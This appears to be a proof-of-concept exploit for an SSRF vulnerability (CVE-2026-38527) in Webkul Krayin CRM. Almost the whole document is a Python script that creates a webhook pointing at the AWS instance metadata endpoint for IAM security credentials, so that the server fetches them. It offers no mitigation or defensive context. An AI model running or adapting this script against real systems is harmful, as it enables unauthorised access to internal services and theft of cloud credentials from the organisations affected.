CVE-2026-38527 Webkul Krayin CRM SSRF漏洞

import requests target_url = "http://victim-domain.com/settings/webhooks/create" # Note: Requires authentication (Low Privileges PR:L) session = requests.Session() # session.post("http://victim-domain.com/login", data={"email": "[email protected]", "password": "password"}) # Internal target to scan (e.g., AWS metadata service) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" payload = { "url": internal_target, "event_type": "order_created" } response = session.post(target_url, data=payload) if response.status_code == 200: print("SSRF request sent successfully. Check response time/content for clues.") else: print(f"Failed to send request: {response.status_code}")